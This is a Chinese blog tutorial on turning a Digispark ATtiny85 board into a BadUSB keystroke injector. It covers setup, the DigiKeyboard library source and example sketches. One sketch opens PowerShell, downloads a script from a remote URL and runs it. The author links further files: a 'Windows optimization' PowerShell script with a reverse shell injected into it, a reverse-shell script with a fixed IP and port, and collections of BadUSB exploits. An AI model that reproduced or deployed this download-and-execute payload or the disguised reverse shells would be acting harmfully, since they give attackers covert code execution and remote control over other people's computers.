Badusb Attinty85 Ardunio

Badusb attinty85

参考官网教程:(http://digistump.com/wiki/digix/tutorials/software)

安装驱动

当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!

下载直达

下载的驱动文件,解压并执行相应的版本(64位操作系统执行DPinst64.exe,32位执行DPinst.exe)。

img下图是驱动安装完成的截图

img

配置烧录软件

推荐使用Arduino IDE。到Arduino官方网站进行下载安装

下载直达

设置中文

Arduino 设置中文

  1. 打开 Arduino IDE。
  2. 在菜单栏中选择 File(文件)> Preferences(首选项)。
  3. 在 Preferences(首选项)窗口中,找到 Language(语言)选项并点击下拉菜单。
  4. 在下拉菜单中选择 Chinese(简体中文)或 Chinese (Traditional)(繁體中文)。
  5. 点击 OK 保存更改并关闭 Preferences(首选项)窗口。

img

进入程序界面后,点击 文件 --> 首选项。

http://digistump.com/package_digistump_index.json

复制到红色线框标记的地方。

img

然后在 工具 选择开发板管理器

在这里插入图片描述

等待加载完成后(等待时间可能有点长),选择下图红框标注的版本(这里已安装会显示Remove,如果是未安装的会显示Install。img下载完成后,即可在工具里看到Digispark (Default - 16.5mhz),编程器选择“USBtinyISP

img 插上开发板安装好驱动后,这里设备管理器会不断发现它在刷新,可以不用按照网上其他教程,可以插上板子,将程序编译上传。
烧录进去程序后,设备管理器就不会闪了。

烧录代码

贴一个自己测试的程序,通过下载一个powershell脚本,运行此脚本来改桌面的壁纸。(这里的脚本可以修改为想要的程序)

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.println("POWERSHELL -NOP");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("$client = new-object System.Net.WebClient");
DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')");
DigiKeyboard.delay(3000);
DigiKeyboard.println("e:\\test.ps1");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.println("exit");
 
}
 
void loop() {
 
}

将代码复制到编辑框中,保存一下后,点击上传,即可自动编译后上传。img

其他代码

badusb的烧录代码: http://ruiwencloud.xyz/sub/badusb.ino (可以直接用来烧录Digispark 板子)
power shell 正常的代码: http://ruiwencloud.xyz/sub/badusb.ps1 (这个文件主要是一些Windows的优化脚本,当然也有power shell 反弹代码的注入)
power shell 反弹的代码: http://ruiwencloud.xyz/sub/Invoke-PowerShellTcp.ps1 (这个文件是更改后的版本,将IPAddress 和 Port固定了,可以手动修改,这个代码的用法可以看另一个power shell 脚本)

存储库搜索结果 — Repository search results (github.com)

Xyntax/BadUSB-code: 收集badusb的一些利用方式及代码 (github.com)

CedArctic/DigiSpark-Scripts: USB Rubber Ducky type scripts written for the DigiSpark. (github.com)

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.println("cmd");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("color a & dir/s");
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);

}
 
void loop() {
 
}

开发详解

模拟键盘我们可以使用Digispark提供的DigiKeyboard库,只需要在代码中包含头文件就可以了

#include "DigiKeyboard.h"

其实这些库都是C语言写的,我们可以打开它的源文件看一下:

(路劲是你的Arduino安装路径)我的是~~~

C:\Users\Administrator\AppData\Local\Arduino15\libraries
/*
 * Based on Obdev's AVRUSB code and under the same license.
 *
 * TODO: Make a proper file header. :-)
 * Modified for Digispark by Digistump
 */
#ifndef __DigiKeyboard_h__
#define __DigiKeyboard_h__
 
#include <Arduino.h>
#include <avr/pgmspace.h>
#include <avr/interrupt.h>
#include <avr/delay.h>
#include <string.h>
 
#include "usbdrv.h"
#include "scancode-ascii-table.h"
 
// TODO: Work around Arduino 12 issues better.
//#include <WConstants.h>
//#undef int()
 
typedef uint8_t byte;
 
 
#define BUFFER_SIZE 2 // Minimum of 2: 1 for modifiers + 1 for keystroke
 
 
static uchar    idleRate;           // in 4 ms units

其实Arduino就是用Java写了一个解释器,然后这个解释器去调用C/C++语言编译器去编译库,和Makefile一样,所以Arduino的编译速度会慢许多

可以在往下看看,可以看到许多按键宏

/* Keyboard usage values, see usb.org's HID-usage-tables document, chapter
 * 10 Keyboard/Keypad Page for more codes.
 */
#define MOD_CONTROL_LEFT    (1<<0)
#define MOD_SHIFT_LEFT      (1<<1)
#define MOD_ALT_LEFT        (1<<2)
#define MOD_GUI_LEFT        (1<<3)
#define MOD_CONTROL_RIGHT   (1<<4)
#define MOD_SHIFT_RIGHT     (1<<5)
#define MOD_ALT_RIGHT       (1<<6)
#define MOD_GUI_RIGHT       (1<<7)
 
#define KEY_A       4
#define KEY_B       5
#define KEY_C       6
#define KEY_D       7
#define KEY_E       8
#define KEY_F       9
#define KEY_G       10
#define KEY_H       11
#define KEY_I       12
#define KEY_J       13
#define KEY_K       14
#define KEY_L       15
#define KEY_M       16
#define KEY_N       17
#define KEY_O       18
#define KEY_P       19
#define KEY_Q       20
#define KEY_R       21
#define KEY_S       22
#define KEY_T       23
#define KEY_U       24
#define KEY_V       25
#define KEY_W       26
#define KEY_X       27
#define KEY_Y       28
#define KEY_Z       29
#define KEY_1       30
#define KEY_2       31
#define KEY_3       32
#define KEY_4       33
#define KEY_5       34
#define KEY_6       35
#define KEY_7       36
#define KEY_8       37
#define KEY_9       38
#define KEY_0       39
 
#define KEY_ENTER   40
 
#define KEY_SPACE   44
 
#define KEY_F1      58
#define KEY_F2      59
#define KEY_F3      60
#define KEY_F4      61
#define KEY_F5      62
#define KEY_F6      63
#define KEY_F7      64
#define KEY_F8      65
#define KEY_F9      66
#define KEY_F10     67
#define KEY_F11     68
#define KEY_F12     69
 
#define KEY_ARROW_LEFT 0x50

在往下看看就能看到它的类封装函数,它的库代码是使用C++编写而成

class DigiKeyboardDevice : public Print {
 public:
  DigiKeyboardDevice () {
    cli();
    usbDeviceDisconnect();
    _delay_ms(250);
    usbDeviceConnect();
 
 
    usbInit();
       
    sei();
 
    // TODO: Remove the next two lines once we fix
    //       missing first keystroke bug properly.
    memset(reportBuffer, 0, sizeof(reportBuffer));     
    usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
  }
     
  void update() {
    usbPoll();
  }
     
    // delay while updating until we are finished delaying
    void delay(long milli) {
        unsigned long last = millis();
      while (milli > 0) {
        unsigned long now = millis();
        milli -= now - last;
        last = now;
        update();
      }
    }
   
  //sendKeyStroke: sends a key press AND release
  void sendKeyStroke(byte keyStroke) {
    sendKeyStroke(keyStroke, 0);
  }
 
  //sendKeyStroke: sends a key press AND release with modifiers
  void sendKeyStroke(byte keyStroke, byte modifiers) {
    sendKeyPress(keyStroke, modifiers);
    // This stops endlessly repeating keystrokes:
    sendKeyPress(0,0);
  }
 
  //sendKeyPress: sends a key press only - no release
  //to release the key, send again with keyPress=0
  void sendKeyPress(byte keyPress) {
    sendKeyPress(keyPress, 0);
  }
 
  //sendKeyPress: sends a key press only, with modifiers - no release
  //to release the key, send again with keyPress=0
  void sendKeyPress(byte keyPress, byte modifiers) {
    while (!usbInterruptIsReady()) {
      // Note: We wait until we can send keyPress
      //       so we know the previous keyPress was
      //       sent.
        usbPoll();
        _delay_ms(5);
    }
     
    memset(reportBuffer, 0, sizeof(reportBuffer));
         
    reportBuffer[0] = modifiers;
    reportBuffer[1] = keyPress;
     
    usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
  }
   
  size_t write(uint8_t chr) {
    uint8_t data = pgm_read_byte_near(ascii_to_scan_code_table + (chr - 8));
    sendKeyStroke(data & 0b01111111, data >> 7 ? MOD_SHIFT_RIGHT : 0);
    return 1;
  }
     
  //private: TODO: Make friend?
  uchar    reportBuffer[2];    // buffer for HID reports [ 1 modifier byte + (len-1) key strokes]
  using Print::write;
};

可以看到每个函数的原型,以及作用都写了出来,那么我们就可以根据这些信息来写我们的代码了

其中我们不需要声明我们自己的类的,因为在头文件中可以看到这一条代码

DigiKeyboardDevice DigiKeyboard = DigiKeyboardDevice();
我们可以在Arduino里直接使用DigiKeyboard这个变量来完成函数调用

这里我将函数整理了一下:

API

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在setup函数里写我们的驱动代码,写一个简单的调用,就是打开文本记事本然后输入一行hello word
在这里插入图片描述

针对鼠标Digispark提供了DigiMouse库,可以使用这个库来完成模拟鼠标的操作这里说一下为什么鼠标要先调用begin函数,而键盘不用,这个原因是因为键盘在按下按键时是向目标设备发送键代码,而鼠标不一样,鼠标是每次移动鼠标时鼠标硬件会将传感器的数据写入到寄存器中等待被读取,begin函数就是告诉操作系统你要主动来读取寄存器的值,上述的API都是修改寄存器的值,这里我们可以拆开moveX函数看一

  • 20
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

luciferau

你的鼓励是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值